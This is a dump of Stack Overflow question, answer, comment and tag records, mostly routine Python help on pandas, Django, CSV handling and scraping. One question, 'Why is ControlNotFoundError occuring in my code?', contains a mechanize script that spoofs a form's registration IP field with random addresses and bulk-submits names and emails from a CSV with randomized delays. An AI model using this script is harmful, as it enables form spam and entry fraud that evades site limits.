'users/edit_user.html', context, request=request ) return JsonResponse(data) def form_valid(self, form): form.save() data = dict() data['form_is_valid'] = True context = {'u…
answer count: 1
has comment: http://stackoverflow.com/comment/81003186
has comment: http://stackoverflow.com/comment/81003071
type: Question
has comment: http://stackoverflow.com/comment/81003102
has title: How save User data in OneToOneField | Django?
has comment: http://stackoverflow.com/comment/81003021
tagged with: django
tagged with: django-1.11
accepted answer: http://stackoverflow.com/a/47031153
tagged with: python
has answer: http://stackoverflow.com/a/47031153
type: AnsweredQuestion

http://stackoverflow.com/a/46964134
score: 0
has body: VS can't help you with this beyond authoring the task. You will still need a place where your code can run reliably. This would be a good fit for something like Azure functions --> https://learn.microsoft.com/en-us/azure/azure-functions/functions-overview You could create a Scheduled function that can run your python script on a schedule.
type: Answer
has comment: http://stackoverflow.com/comment/80990346
answers question: http://stackoverflow.com/q/46964000
has comment: http://stackoverflow.com/comment/80990383

http://stackoverflow.com/a/47000264
answers question: http://stackoverflow.com/q/47000214
has comment: http://stackoverflow.com/comment/80947192
has comment: http://stackoverflow.com/comment/80947263
score: 0
has body: You will get my code if the inner block, as a whole raises an exception. In your case, the inner block try: # not my code start assert False except: print('not my code') # not my code end has handled it's exception, so, from the point of view of the outer try, it has completed successfully. You could only cause the outer exception to be triggered by, raising an unhandled exception in the first try, or calling a function that raises an exception.
has comment: http://stackoverflow.com/comment/80947584
type: Answer

http://stackoverflow.com/a/52608526
has body: python-pip is in the universe repositories, therefore use the steps below to solve Python3 pip3 broken problem on Ubuntu. Also works for Ubuntu available from official store in windows 10 for WSL (windows subsystem for linux): sudo apt-get install software-properties-common sudo apt-add-repository universe sudo apt-get update sudo apt-get -y install python3-pip I got help from here - [https://askubuntu.com/a/672836/876942]. Following these steps installs python 2. But then I installed python 3 using [sudo apt-get -y install python3-pip] in last step.
type: Answer
score: -1
upvote count: 0
answers question: http://stackoverflow.com/q/46948457
downvote count: 1

http://stackoverflow.com/q/47052805
score: 0
linked to: http://stackoverflow.com/q/1566936
tagged with: list
has comment: http://stackoverflow.com/comment/81052515
answer count: 1
has comment: http://stackoverflow.com/comment/81052567
accepted answer: http://stackoverflow.com/a/47053609
tagged with: precision
type: Question
has body: How to get only up to 2 float precision values of elements in a list without changing the Float type of the elements. l = [[u'NY Disability Contribution', 2.6, 2.6, 2.6, 1.3, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 9.1],[u'Income Tax',387.32,387.32,387.32,193.66,0.0,0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1355.62]] Output should be like result = [[u'NY Disability Contribution', 2.60, 2.60, 2.60, 1.30, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 9.10],[u'Income Tax',387.32,387.32,387.32,193.66,0.00,0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 0.00, 1355.62]] Eg: for 2.6 ---> 2.60 I've tried like this result = [[i[0]] + [float(format(j,".2f")) for j in i[1:]] for i in y] but those are coming as string values my output [[u'Contribution', '2.60', '2.60', '2.60', '1.30', '0.00', '0.00', 0.00', '0.00', '0.00', '0.00', '0.00', '0.00', '9.10'], [u'Tax','387.32','387.32','387.32','193.66','0.00','0.00', '0.00','0.00', '0.00', '0.00', '0.00', '0.00', '1355.62']] Thanks in advance
has title: How to get only up to 2 float precision values of elements in a list
tagged with: python
has answer: http://stackoverflow.com/a/47053609
has comment: http://stackoverflow.com/comment/81052556
type: AnsweredQuestion

http://stackoverflow.com/comment/81038653
type: Comment
has text: @Murmel python3
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47045155

neural-network
tags question: http://stackoverflow.com/q/47047057
tags question: http://stackoverflow.com/q/46982699
tags question: http://stackoverflow.com/q/47001870
type: Tag
tags question: http://stackoverflow.com/q/47028242
tags question: http://stackoverflow.com/q/46915354
tags question: http://stackoverflow.com/q/46995209
tags question: http://stackoverflow.com/q/47036409
tags question: http://stackoverflow.com/q/47003418
tags question: http://stackoverflow.com/q/46912505
tags question: http://stackoverflow.com/q/46932562
tags question: http://stackoverflow.com/q/46998182
tags question: http://stackoverflow.com/q/47062932
tags question: http://stackoverflow.com/q/47030400
tags question: http://stackoverflow.com/q/46921513
tags question: http://stackoverflow.com/q/46912557
tags question: http://stackoverflow.com/q/47034888
tags question: http://stackoverflow.com/q/47002177
tags question: http://stackoverflow.com/q/46919462
tags question: http://stackoverflow.com/q/46970872
tags question: http://stackoverflow.com/q/46991226
tags question: http://stackoverflow.com/q/47061428
tag name: neural-network
tags question: http://stackoverflow.com/q/47017880
tags question: http://stackoverflow.com/q/46929887
tags question: http://stackoverflow.com/q/46970271
tags question: http://stackoverflow.com/q/46999584
tags question: http://stackoverflow.com/q/46991582
tags question: http://stackoverflow.com/q/47003318
tags question: http://stackoverflow.com/q/46990079

http://stackoverflow.com/q/46976675
downvote count: 2
has comment: http://stackoverflow.com/comment/80901201
has comment: http://stackoverflow.com/comment/80901270
has comment: http://stackoverflow.com/comment/80901641
has comment: http://stackoverflow.com/comment/80901727
has answer: http://stackoverflow.com/a/46984310
has title: BeautifulSoup only returning one result
has answer: http://stackoverflow.com/a/46977205
has comment: http://stackoverflow.com/comment/80900907
favorite count: 0
possible better answer: http://stackoverflow.com/a/46977205
tagged with: beautifulsoup
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/80901801
answer count: 2
tagged with: scraper
has comment: http://stackoverflow.com/comment/80901070
tagged with: python
accepted answer: http://stackoverflow.com/a/46984310
has body: I have some html laid out like this destination 1 destination 2 destination 3 I am trying to use BeautifulSoup to return all of the destination names, so I have targeted the div name of "news-a" because I know there is only one of these on the site. I have my scraper code as so: import requests from bs4 import BeautifulSoup page = requests.get('url') soup = BeautifulSoup(page.content, 'html.parser') destinations = soup.find(class_='news-a') for destination in destinations.find_all('h2'): print(destination.text) But this only returns the first result of "destination 1" when used with the live url Sample of inspect code
has comment: http://stackoverflow.com/comment/80901316
type: AnsweredQuestion
score: 0

http://stackoverflow.com/a/47002561
has comment: http://stackoverflow.com/comment/80952127
has body: What you are doing with the f = open('H.csv','w') is that it is write to the file but also writing over your data. What you need to do is use f =open('H.csv', 'a+') this appends new string everytime to the file.link To sort data use for x in sorted(csvdict.keys()): With this code I was able to write to file what was printed on console. csvfile = [['1', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0'], ['2', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0'], ['3', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0']] csvdict = {words[0]:words[1:] for words in csvfile} for x in sorted(csvdict.keys()): # iterate over the keys '1', '2', .... products = [index+1 for index,v in enumerate(csvdict[x]) if v == '1' ] # create list of purchases where the '1's are indexed #print (products) f = open("H.csv", 'a+') hasil = ("costummer", x, "buy", products) hasilstr = ("costummer, %s,buy,"+','.join([str(i) for i in products])) %(x) print (hasilstr) f.write(hasilstr +"\n")
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/47002129
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80952327
accepted answer of: http://stackoverflow.com/q/47002129
has comment: http://stackoverflow.com/comment/80951979
has comment: http://stackoverflow.com/comment/80952548
type: Answer
has comment: http://stackoverflow.com/comment/80951825
downvote count: 0

http://stackoverflow.com/a/46937887
has comment: http://stackoverflow.com/comment/80823087
score: 1
type: AcceptedAnswer
downvote count: 1
has comment: http://stackoverflow.com/comment/80824386
accepted answer of: http://stackoverflow.com/q/46937794
has comment: http://stackoverflow.com/comment/80824503
answers question: http://stackoverflow.com/q/46937794
type: Answer
has body: There is no word boundary between a non-word character and the end of the string.
upvote count: 2

http://stackoverflow.com/q/47042146
tagged with: series
type: Question
has body: So I'm not sure why this works one way but not the other. I have a column that calculates a value and compares it to a static column. When I just compare those two have have the function print(column1>column2) I get a nice series of True/False values. So it is working there, but when I try to then incorporate that same inequality for an if/else statement, it kicks off the following error: ValueError: The truth value of a Series is ambiguous. Use a.empty, a.bool(), a.item(), a.any() or a.all(). Why is that? Here is the code: def airportcheck(x1, y1): point1 = line(line1m, line1b, x1, y1) point2 = line(line2m, line2b, x1, y1) point3 = line(line3m, line3b, x1, y1) point4 = line(line4m, line4b, x1, y1) if point3&gt;=y1: print(1) print(point3&gt;y1) #if point1 &gt; y1 and point3 &gt; y1 and point4 &lt; y1 and point2 &lt; y1: # return 1 #else: # return 0 df_data['Airport'] =(airportcheck(df_data['Pickup_longitude'], df_data['Pickup_latitude']))
has title: Pandas series: Truth Value of a Boolean is Ambiguous
has comment: http://stackoverflow.com/comment/81031661
has comment: http://stackoverflow.com/comment/81031302
has comment: http://stackoverflow.com/comment/81031539
tagged with: python
has comment: http://stackoverflow.com/comment/81031441
type: AnsweredQuestion
tagged with: pandas
accepted answer: http://stackoverflow.com/a/47042517
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/47042517
tagged with: calculated-columns

http://stackoverflow.com/q/46994317
answer count: 1
tagged with: file
has title: Creating a function that reads files and checks whether they are left justified
linked to: http://stackoverflow.com/q/40208877
upvote count: 1
has comment: http://stackoverflow.com/comment/80935108
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/80935154
has body: I need to create a function that will use a file that's open for reading and returns a boolean if every line in the file is left justified. So far I have def justified(parameters): value = True for index, line in enumerate(parameters): if index &gt; 0 and (line.startswith("") or line.startswith("\t")): value = false return value The issue I am having is that this works for when one line is left justified, a blank line is left justified, and multiple lines are left justified, but does not work when I have one single line of text that is not left justified, or when a file contains multiple text that is not left justified, or a file has a line with only spaces.
has comment: http://stackoverflow.com/comment/80935196
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46994412
downvote count: 2
type: UnansweredQuestion

http://stackoverflow.com/a/47062197
has comment: http://stackoverflow.com/comment/81091792
has comment: http://stackoverflow.com/comment/81073592
has comment: http://stackoverflow.com/comment/81073426
has comment: http://stackoverflow.com/comment/81073479
type: Answer
score: 4
upvote count: 4
has comment: http://stackoverflow.com/comment/81073273
has comment: http://stackoverflow.com/comment/81073363
downvote count: 0
has comment: http://stackoverflow.com/comment/81089152
has comment: http://stackoverflow.com/comment/81073646
has comment: http://stackoverflow.com/comment/81079892
has body: Just del them. It is lightning fast because of the way garbage collector works. def test(test): del test print('I do not need test parameter here!') If you are passing parameters with callback method then give them a proper name and del them. Do not denote them as unused. This is an example callback function: def handle(socket, address): del address # del is as efficient as a newline ;-) stream = bytes() while True: chunk = socket.recv() if not chunk: break stream += chunk return stream Pythonistas normally do not use _ underscore name for an argument is any case possible. You may have misunderstood usage of _ underscore as a name for a non useful variable. It is understandable to use _ for a variable name when we do not know how to call it and/or it will not get used: # ignore variables when unpacking a tuple def test(): """some code here""" top = 10 right = 10 bottom = 40 left = 10 return top, right, bottom, left # here we ignore right and left top, _, bottom, _ = test() # use top and bottom in your code
answers question: http://stackoverflow.com/q/47059273
has comment: http://stackoverflow.com/comment/81089912

http://stackoverflow.com/q/46988517
tagged with: math
has answer: http://stackoverflow.com/a/46990480
tagged with: python
tagged with: linear-algebra
has comment: http://stackoverflow.com/comment/80926005
accepted answer: http://stackoverflow.com/a/46990480
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80926132
tagged with: scikit-learn
answer count: 1
has comment: http://stackoverflow.com/comment/80926212
has comment: http://stackoverflow.com/comment/80931788
has comment: http://stackoverflow.com/comment/80926301
has comment: http://stackoverflow.com/comment/80926268
has title: two dimensional linear regression coefficients
type: Question
has body: I am doing linear regression with two dimensional variables: filtered'p_tag_x', 'p_tag_y', 's_tag_x', 's_tag_y'.head() p_tag_x p_tag_y s_tag_x s_tag_y 35 589.665646 1405.580171 517.5 1636.5 36 589.665646 1405.580171 679.5 1665.5 100 610.546851 2425.303250 569.5 2722.0 101 610.546851 2425.303250 728.0 2710.0 102 717.237730 1411.842428 820.0 1616.5 clt = linear_model.LinearRegression() clt.fit(filtered'p_tag_x', 'p_tag_y', filtered's_tag_x', 's_tag_y') I am getting following coefficients of the regression: clt.coef_ array([[ 0.4529769 , -0.22406594], [-0.00859452, -0.00816968]]) And the residues (X_0, and Y_0) clt.residues_ array([ 1452.97816371, 69.12754694]) How I should I understand the above coefficients matrix in terms of the regression line ?
tagged with: linear-regression

http://stackoverflow.com/comment/81063413
type: Comment
has text: @Wen : Any exception that I can raise to tell my program that he needs to start over the download. The same behaviour as happens in the first example (read_csv errs because too many commas) would be great.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47058038

http://stackoverflow.com/q/46910438
has title: Dataframe Not Getting Updated Pandas
accepted answer: http://stackoverflow.com/a/46910491
favorite count: 0
type: AnsweredQuestion
has body: import pandas as pd import numpy as np titanic= pd.read_csv("C:\\Users\\Shailesh.Rana\\Downloads\\train.csv") title=[] #to extract titles out of names for i in range(len(titanic)): title.append(titanic.loc[:,"Name"].iloc[i].split(" ")[1]) #index 1 is title titanic.iloc[(np.array(title)=="Master.")&amp;(np.array(titanic.Age.isnull()))].loc[:,"Age"]=3.5 #values with master title and NAN as age The last line doesn't make a change to the original dataset. In fact, if I run this line again, it still shows a series with 4 NaN values.
tagged with: pandas
score: 1
tagged with: python
type: Question
has answer: http://stackoverflow.com/a/46910491
downvote count: 0
answer count: 1
upvote count: 1

http://stackoverflow.com/a/52144274
score: 0
type: Answer
has body: This is pretty bad (Python 2.x) code idiom for reading a file whose lines are comma-separated lists of floats: It iterates over the file by reading each line and manually stripping newline character(s): Bad: line[:-1] is a bad way of stripping the trailing newline: it breaks on Windows which has \r\n Better: in Python 3, open() defaults to newline=None, which enables universal newline support, and correctly handles \r, \n or \r\n . Or you can explicitly set open(..., newline=??). Then just use line as is, no need for the hacky line[:-1] str.split(line[:-1], ',') splits a line of comma-separated strings of floats into a list of strings of floats. Except it's equivalent to line[:-1].split(','). But now thanks to the newline support we can do line.split(',') which is just heaps clearer. L = [] for line in f: L = L + map(float, str.split(line[:-1],',')) is an old 2.x way of appending to a list-of-lists. Also we can use a list comprehension instead of map(float, ...). And we can use a nested list-comprehension to eliminate the for line in f: loop. So: f = open('scores.txt','r') L = [ [ float(flt) for flt in line.split(',') ] for line in f ] or even better, we use a context-handler to automatically handle open'ing, close'ing f and related exceptions. So the code reduces to: with open('scores.txt','r') as f: L = [ [ float(x) for line in f x in line.split(',') ]
answers question: http://stackoverflow.com/q/46973067

http://stackoverflow.com/a/47056464
has comment: http://stackoverflow.com/comment/81060778
has comment: http://stackoverflow.com/comment/81060809
accepted answer of: http://stackoverflow.com/q/47056409
score: 3
has body: Use df.duplicated as a mapper to index into df: c = ['Column1', 'Column3', 'Column4'] df = df[df[c].duplicated(keep=False)] df Index Column1 Column2 Column3 Column4 0 0 1234 500 NEWYORK NY 2 2 1234 300 NEWYORK NY keep=False will mark all duplicate rows for filtering.
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81060415
has comment: http://stackoverflow.com/comment/81060596
answers question: http://stackoverflow.com/q/47056409
downvote count: 1
has comment: http://stackoverflow.com/comment/81060677
type: Answer
upvote count: 4

http://stackoverflow.com/q/46958585
has answer: http://stackoverflow.com/a/46958681
has body: I am creating Lambda function in Python.But I am running in some issue. Here is the code of function:- import boto3 import wfm import os def lambda_handler(event, context): return "OK" I am getting following error:- "module initialization error: 'NoneType' object has no attribute 'endswith' " Any help here would be helpful. Thank You.
type: UnansweredQuestion
has title: Lambda function error
tagged with: lambda
has comment: http://stackoverflow.com/comment/80865250
score: 0
has comment: http://stackoverflow.com/comment/80864671
answer count: 3
tagged with: python
has answer: http://stackoverflow.com/a/46959417
has answer: http://stackoverflow.com/a/46959295
type: Question

http://stackoverflow.com/q/46998740
downvote count: 0
tagged with: selenium
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/80944835
has body: I have a csv file called (data.csv). this csv file contain 2 columns the first called (title) and the other called (link). This code purpose is to open every URL in link column and download the file linked to it. Then rename it with the string in title column which is in the very same row. For any reason if the file did not downloaded the code should pass the whole row. And start again in the next row till the list is finished. here is the data: https://drive.google.com/open?id=0B5bJvxM9TZkhVGI5dkdLVzAyNTA Here is the code: from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By import pandas as pd import os df = pd.read_csv('data.csv') os.chdir("C:\\Users\\Sayed\\Downloads") titles = df['title'] links = df['link'] for event in links: driver = webdriver.Chrome() driver.get(event) # download driver.find_element_by_xpath('//*[@id="fxec_historytable"]/a').click() WebDriverWait(driver, 100).until(EC.visibility_of_element_located((By.XPATH, '//*[@id="fxec_historytable"]/a'))) for file, name in zip(os.listdir(), titles): fileName = os.path.splitext(file) os.rename(file, name) The download part is ok with no problem but there is no renaming at all.
favorite count: 0
possible better answer: http://stackoverflow.com/a/51317600
type: Question
has comment: http://stackoverflow.com/comment/80944762
has answer: http://stackoverflow.com/a/51317600
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has answer: http://stackoverflow.com/a/46999351
has title: python pandas download and rename
has comment: http://stackoverflow.com/comment/80944512
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80944427
answer count: 2
accepted answer: http://stackoverflow.com/a/46999351

http://stackoverflow.com/comment/80954383
type: Comment
type: AnswerComment
has text: great thanks. (empty something cuz min 15 characters/comment)
comment on: http://stackoverflow.com/a/47003818
score: 0

http://stackoverflow.com/comment/80903368
type: QuestionComment
has text: It would help if you show which lib you are using to access sqlite (your import lines at the top) and the result you are getting now and the one you want to get
comment on: http://stackoverflow.com/q/46976748
score: 0
type: Comment

dictionary
tags question: http://stackoverflow.com/q/46925633
tags question: http://stackoverflow.com/q/46935745
tags question: http://stackoverflow.com/q/47052595
tags question: http://stackoverflow.com/q/47007743
tags question: http://stackoverflow.com/q/46992144
tags question: http://stackoverflow.com/q/46950037
tags question: http://stackoverflow.com/q/47037281
tags question: http://stackoverflow.com/q/47003093
tags question: http://stackoverflow.com/q/47051808
tags question: http://stackoverflow.com/q/47045220
tags question: http://stackoverflow.com/q/46991306
tags question: http://stackoverflow.com/q/46989378
tags question: http://stackoverflow.com/q/47045298
tags question: http://stackoverflow.com/q/46939636
tags question: http://stackoverflow.com/q/46914923
tags question: http://stackoverflow.com/q/47047293
tags question: http://stackoverflow.com/q/46967267
tags question: http://stackoverflow.com/q/46918299
tags question: http://stackoverflow.com/q/46994348
tags question: http://stackoverflow.com/q/46960728
tags question: http://stackoverflow.com/q/47047005
tags question: http://stackoverflow.com/q/47037391
tags question: http://stackoverflow.com/q/46943051
tags question: http://stackoverflow.com/q/47060035
tags question: http://stackoverflow.com/q/47048483
tags question: http://stackoverflow.com/q/47040005
tags question: http://stackoverflow.com/q/46973192
tags question: http://stackoverflow.com/q/47015582
tags question: http://stackoverflow.com/q/46975957
tags question: http://stackoverflow.com/q/46965665
tags question: http://stackoverflow.com/q/47056849
tags question: http://stackoverflow.com/q/46923701
tags question: http://stackoverflow.com/q/46993495
tags question: http://stackoverflow.com/q/46985556
tags question: http://stackoverflow.com/q/47026522
tags question: http://stackoverflow.com/q/46911622
tags question: http://stackoverflow.com/q/46972249
tags question: http://stackoverflow.com/q/46920002
tags question: http://stackoverflow.com/q/47019010
tags question: http://stackoverflow.com/q/46982810
tags question: http://stackoverflow.com/q/46985237
tags question: http://stackoverflow.com/q/47014396
tags question: http://stackoverflow.com/q/46960619
tags question: http://stackoverflow.com/q/46964917
tags question: http://stackoverflow.com/q/46985666
tags question: http://stackoverflow.com/q/46976956
tags question: http://stackoverflow.com/q/46943569
tags question: http://stackoverflow.com/q/47031126
tags question: http://stackoverflow.com/q/46936934
tags question: http://stackoverflow.com/q/47019505
tags question: http://stackoverflow.com/q/46918497
tags question: http://stackoverflow.com/q/46986201
tags question: http://stackoverflow.com/q/47054150
tags question: http://stackoverflow.com/q/47033316
tags question: http://stackoverflow.com/q/46991650
tags question: http://stackoverflow.com/q/47056656
tags question: http://stackoverflow.com/q/46958314
tags question: http://stackoverflow.com/q/46995814
tags question: http://stackoverflow.com/q/46995216
tags question: http://stackoverflow.com/q/47039349
tags question: http://stackoverflow.com/q/47033400
tags question: http://stackoverflow.com/q/47040919
tags question: http://stackoverflow.com/q/46921443
tags question: http://stackoverflow.com/q/46984001
tags question: http://stackoverflow.com/q/47054458
tags question: http://stackoverflow.com/q/46916948
tags question: http://stackoverflow.com/q/46918393
tags question: http://stackoverflow.com/q/47052204
tags question: http://stackoverflow.com/q/47024214
tags question: http://stackoverflow.com/q/46971920
tags question: http://stackoverflow.com/q/47008610
tags question: http://stackoverflow.com/q/46910330
tags question: http://stackoverflow.com/q/46970750
tags question: http://stackoverflow.com/q/46967376
tags question: http://stackoverflow.com/q/46915617
tags question: http://stackoverflow.com/q/46982713
tags question: http://stackoverflow.com/q/46922607
tags question: http://stackoverflow.com/q/46991716
tags question: http://stackoverflow.com/q/46967051
tags question: http://stackoverflow.com/q/46963231

http://stackoverflow.com/q/47027311
tagged with: jupyter-notebook
has comment: http://stackoverflow.com/comment/81001894
type: Question
has answer: http://stackoverflow.com/a/47027734
answer count: 2
type: UnansweredQuestion
has title: Why is ControlNotFoundError occuring in my code?
has answer: http://stackoverflow.com/a/47027388
tagged with: python
score: 0
tagged with: mechanize
has body: I'm very confused now that I fixed one error by added 'from mechanize import ControlNotFoundError. However, it now popped up with this error. Any help is greatly appreciated. I just started learning python a few days ago so i'm not very familiar with the errors, and I don't think i've found something similar on here yet. import mechanize from mechanize import ControlNotFoundError import sys from random import randint import time import csv ipa=randint(1, 254) ipb=randint(1, 254) ip="131.156." + str(ipa) + "." + str(ipb) ofile="D:\Downloads\csvDataFile.csv" url = "https://website.com/realsite" br = mechanize.Browser() br.set_handle_robots(False) # ignore robots names=[] i=0 entries=80 with open(ofile) as csvDataFile: csvReader = csv.reader(csvDataFile) for row in csvReader: names.append((row[0],row[1])) csvDataFile.close() for name,email in names: ipa=randint(1, 254) ipb=randint(1, 254) ip="131.156." + str(ipa) + "." + str(ipb) br = mechanize.Browser() br.set_handle_robots(False) # ignore robots br.open(url) br.select_form(nr = 0) while True: try: br.form.find_control( 'Entries[registration_ip]').readonly = False print "Form found ", break except mechanize.ControlNotFoundError: print "ControlNotFoundError" br.open(url) br.select_form(nr = 0) br.form.find_control( 'Entries[registration_ip]').readonly = False br.form.set_value(ip, 'Entries[registration_ip]') br.form.set_value(name, 'Entries[full_name]') br.form.set_value(email, 'Entries[email]') time.sleep(randint(1, 110)) time.sleep(random()) res = br.submit() print name + " " + email content = res.read() if (i &gt; entries) : break i+=1 time.sleep(randint(1, 200)) time.sleep(random()) with open("mechanize_results.html", "w") as f: f.write(content) ERROR: ControlNotFoundError Traceback (most recent call last) &lt;ipython-input-6-549eea94ea1f&gt; in &lt;module&gt;() 46 br.open(url) 47 br.select_form(nr = 0) ---&gt; 48 br.form.find_control( 'Entries[registration_ip]').readonly = False 49 br.form.set_value(ip, 'Entries[r…
has comment: http://stackoverflow.com/comment/81001807

http://stackoverflow.com/comment/96729933
type: Comment
type: AnswerComment
has text: for me it was a combination of things: I was printing request.form : that was read as a string, need to include content type on curl, and instead of reading fields and values like : `fields = [k for k in request.form]` I've got to use `request.get_json()`. But why `fields = [k for k in request.form]` was not parsed properly, despite content type application/json ?
comment on: http://stackoverflow.com/a/47034052
score: 0

http://stackoverflow.com/comment/80977984
type: Comment
has text: ```lambda b:``` means that the ftp will use the ```b``` variable ?
type: AnswerComment
comment on: http://stackoverflow.com/a/47015841
score: 0

http://stackoverflow.com/q/47022730
has body: Transitions between A &lt;-> G and C &lt;-> T Transversions between A &lt;-> C and G &lt;-> T Assignment: Write a function transition that takes two nucleotides. The function must return a Boolean value that indicates whether or not replacing the first nucleotide by the second nucleotide leads to a transition. Problem: I don't think the function recognizes the statement behind the or. The code doesn't work in some cases for example: transition('A', 'G') is True and with my code he gives False Write a function ratio that takes two DNA sequences s1 and s2 The function may assume that both sequences have the same length (the function does not need to check this explicitly). The function must return the transition/transversion ratio R(s 1 ,s 2 )∈R of the two given sequences as a floating point number. In case there are no transversions between the two sequences, R(s 1 ,s 2 )=0 by definition. Problem: the code is not working def transition(letter1, letter2): """ &gt;&gt;&gt; transition('G', 'A') True &gt;&gt;&gt; transition('t', 'g') False &gt;&gt;&gt; transition('C', 'c') False """ return True if letter1.lower() == 'gt' and letter2.lower() == 'ac' or letter1.lower() == 'ac' and letter2.lower() == 'gt' else False def transversion(letter1, letter2): """ &gt;&gt;&gt; transversion('G', 'A') False &gt;&gt;&gt; transversion('t', 'g') True &gt;&gt;&gt; transversion('C', 'c') False """ return True if letter1.lower() == 'ct' and letter2.lower() == 'ag' or letter1.lower() == 'ag' and letter2.lower() == 'ct' else False def ratio(seq1, seq2): """ &gt;&gt;&gt; ratio('ATTAGCATTATCATC', 'AAATAGGATATATGG') 0.2222222222222222 &gt;&gt;&gt; seq1 = 'GCAACGCACAACGAAAACCCTTAGGGACTGGATTATTTCGTGATCGTTGTAGTTATTGGAAGTACGGGCATCAACCCAGTT' &gt;&gt;&gt; seq2 = 'ttatctgacaaagaaagccgtcaacggctggataatttcgcgatcgtgctggttactggcggtacgagtgttcctttgggt' &gt;&gt;&gt; ratio(seq1, seq2) 1.2142857142857142 """ count = 0 tel = 0 for i in range(len(seq1)): if transition(seq1[i], seq2[i]): count += 1 for i in range(l…
has answer: http://stackoverflow.com/a/47022775
tagged with: python
upvote count: 4
answer count: 4
score: 3
has comment: http://stackoverflow.com/comment/80992474
has answer: http://stackoverflow.com/a/47030442
has answer: http://stackoverflow.com/a/47030892
downvote count: 1
has answer: http://stackoverflow.com/a/47023153
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80993273
has comment: http://stackoverflow.com/comment/81302816
has title: Python : return True if ... else False statement (Boolean Value)
has comment: http://stackoverflow.com/comment/80992670
type: UnansweredQuestion

http://stackoverflow.com/comment/80989874
type: Comment
type: QuestionComment
has text: I get 0 with all your values. Did you post the correct code?
score: 0
comment on: http://stackoverflow.com/q/47021335

http://stackoverflow.com/q/46911722
has comment: http://stackoverflow.com/comment/80941627
has answer: http://stackoverflow.com/a/46999706
answer count: 1
has comment: http://stackoverflow.com/comment/80921939
downvote count: 1
favorite count: 0
type: Question
tagged with: qt
has title: python2.7: matplotlib in jupyter notebook can't use qt
has comment: http://stackoverflow.com/comment/80939102
has comment: http://stackoverflow.com/comment/80945568
score: 1
has comment: http://stackoverflow.com/comment/80945367
tagged with: matplotlib
has body: I've installed python2.7 and installed matplotlib using pip. When I execute: % matplotlib qt It get the error: No module named pyqt4, pyqt5... So I installed pyqt4 using .whl file, and the error becomes: No module named pyqt5 I've searched that pyqt5 can be easy installed using pip3 install pyqt5, but not for pip. Also I remembered that I have solved this problem by downgrading jupyter before but I can't remember it exactly. I have searched the web for a while but can't find a solution, how can I get rid of this error in a most simple way?
tagged with: python
has comment: http://stackoverflow.com/comment/80928265
tagged with: jupyter-notebook
has comment: http://stackoverflow.com/comment/80945364
type: AnsweredQuestion
tagged with: python-2.7
accepted answer: http://stackoverflow.com/a/46999706
upvote count: 2
has comment: http://stackoverflow.com/comment/80927232

http://stackoverflow.com/comment/81045647
has text: No worries! There are many ways to do it.... you can even use `if` statements, but it's good to get used to the `and` expressions as it is the most direct way. Python is nice and clean and expresive. Happy learning!
comment on: http://stackoverflow.com/a/47049318
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/73007102
answers question: http://stackoverflow.com/q/47010044
score: 1
type: Answer
has body: Franco Piccolo's answer works well, considering digital has no case, maybe we can simplify the code to: count_vectorizer = CountVectorizer(preprocessor=lambda x: re.sub(r'\d+', '', x))
upvote count: 1
downvote count: 0

http://stackoverflow.com/comment/80837368
comment on: http://stackoverflow.com/q/46944747
type: Comment
has text: @Silencer: thanks~
score: 0
type: QuestionComment

http://stackoverflow.com/comment/80981698
type: Comment
comment on: http://stackoverflow.com/q/47017613
has text: Maybe you need `zip` but I have a hard time understanding the problem.
score: 1
type: QuestionComment

http://stackoverflow.com/a/47033220
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47032604
type: Answer
has body: I am not sure about the code, as I have no way to test it presently, however, assuming that response['Environments'] is a list, the following should work. Please note that, if it is not a list then it will not work or you may have to change the code a bit to get the right result. #!/usr/bin/env python3 import boto3 import json def get_info(): try: eb = boto3.client('elasticbeanstalk',"us-east-1") response = eb.describe_environments() for item in response['Environments']: app_name = response['Environments'][item]['ApplicationName'] env_name = response['Environments'][item]['EnvironmentName'] print app_name print env_name except: raise if __name__ == '__main__': get_info() Also, given the fact that you are using a try-except block, I will say that it is always wiser to catch the particular exception you want to catch. I am not sure which that will be, but a all-catch except is generally not a good idea.
score: 2
downvote count: 0
upvote count: 2
accepted answer of: http://stackoverflow.com/q/47032604

http://stackoverflow.com/q/46923282
accepted answer: http://stackoverflow.com/a/46923718
answer count: 1
has answer: http://stackoverflow.com/a/46923718
type: Question
score: 0
tagged with: django
has title: Django won't change url on redirect
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80793823
